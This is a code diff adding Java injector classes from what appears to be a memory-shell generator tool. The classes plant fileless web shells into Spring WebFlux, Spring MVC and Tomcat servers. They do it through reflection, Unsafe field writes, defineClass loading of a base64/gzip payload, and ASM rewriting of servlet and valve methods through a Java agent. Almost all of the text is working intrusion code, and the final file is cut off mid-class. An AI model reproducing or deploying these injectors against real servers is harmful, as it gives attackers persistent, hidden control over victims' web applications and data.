+package com.reajason.javaweb.memshell.injector.springwebflux;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.server.WebFilter;
+import org.springframework.web.server.handler.DefaultWebFilterChain;
+import org.springframework.web.server.handler.FilteringWebHandler;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+public class SpringWebFluxWebFilterInjector {
+
+    static {
+        new SpringWebFluxWebFilterInjector();
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxWebFilterInjector() {
+        try {
+            FilteringWebHandler webHandler = getWebHandler();
+            Object filter = getShell();
+            inject(webHandler, filter);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public FilteringWebHandler getWebHandler() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
+        DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain");
+        List<WebFilter> filters = new ArrayList<>(chain.getFilters());
+        for (Object o : filters) {
+            if (o.getClass().getName().equals(getClassName())) {
+                System.out.println("filter already injected");
+                return;
+            }
+        }
+        filters.add(0, ((WebFilter) filter));
+        DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters);
+        setFinalField(webHandler, "chain", newChain);
+        System.out.println("filter inject successful");
+    }
+
+    public void setFinalField(Object obj, String fieldName, Object value) throws Exception {
+        Field field = obj.getClass().getDeclaredField(fieldName);
+        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+        java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+        unsafeField.setAccessible(true);
+        Object unsafe = unsafeField.get(null);
+        Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field);
+        unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java

@@ -0,0 +1,204 @@
+package com.reajason.javaweb.memshell.injector.springwebmvc;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+public class SpringWebMvcControllerHandlerInjector {
+
+    static {
+        new SpringWebMvcControllerHandlerInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebMvcControllerHandlerInjector() {
+        try {
+            Object context = getContext();
+            Object interceptor = getShell();
+            inject(context, interceptor);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
+        try {
+            return classLoader.loadClass("javax.servlet.ServletContext");
+        } catch (Throwable e) {
+            return classLoader.loadClass("jakarta.servlet.ServletContext");
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object context = null;
+        try {
+            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
+            Object request = invokeMethod(requestAttributes, "getRequest");
+            Object session = invokeMethod(request, "getSession");
+            Object servletContext = invokeMethod(session, "getServletContext");
+            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        if (context == null) {
+            try {
+                Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
+                Object applicationContext = applicationContexts.iterator().next();
+                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
+                    context = applicationContext;
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return context;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object controller) throws Exception {
+        Class<?> beanNameUrlHandlerMappingClass = null;
+        try {
+            beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
+        } catch (ClassNotFoundException e) {
+            beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
+        }
+        Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
+        Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
+        if (handlerMap.get(getUrlPattern()) != null) {
+            System.out.println("controller already injected");
+            return;
+        }
+        handlerMap.put(getUrlPattern(), controller);
+        System.out.println("controller injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java

@@ -0,0 +1,157 @@
+package com.reajason.javaweb.memshell.injector.springwebmvc;
+
+import org.objectweb.asm.*;
+
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
+    private static final String TARGET_METHOD_NAME = "service";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java

@@ -0,0 +1,196 @@
+package com.reajason.javaweb.memshell.injector.springwebmvc;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+public class SpringWebMvcInterceptorInjector {
+
+    static {
+        new SpringWebMvcInterceptorInjector();
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebMvcInterceptorInjector() {
+        try {
+            Object context = getContext();
+            Object interceptor = getShell();
+            inject(context, interceptor);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
+        try {
+            return classLoader.loadClass("javax.servlet.ServletContext");
+        } catch (Throwable e) {
+            return classLoader.loadClass("jakarta.servlet.ServletContext");
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object context = null;
+        try {
+            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
+            Object request = invokeMethod(requestAttributes, "getRequest");
+            Object session = invokeMethod(request, "getSession");
+            Object servletContext = invokeMethod(session, "getServletContext");
+            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        if (context == null) {
+            try {
+                Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
+                Object applicationContext = applicationContexts.iterator().next();
+                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
+                    context = applicationContext;
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return context;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object interceptor) throws Exception {
+        Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
+        List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
+        for (Object adaptedInterceptor : adaptedInterceptors) {
+            if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
+                System.out.println("interceptor already injected");
+                return;
+            }
+        }
+        adaptedInterceptors.add(interceptor);
+        System.out.println("interceptor injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java

@@ -0,0 +1,157 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import org.objectweb.asm.*;
+
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
+    private static final String TARGET_METHOD_NAME = "invoke";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new TomcatContextValveAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Throwable e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java

@@ -0,0 +1,157 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import org.objectweb.asm.*;
+
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
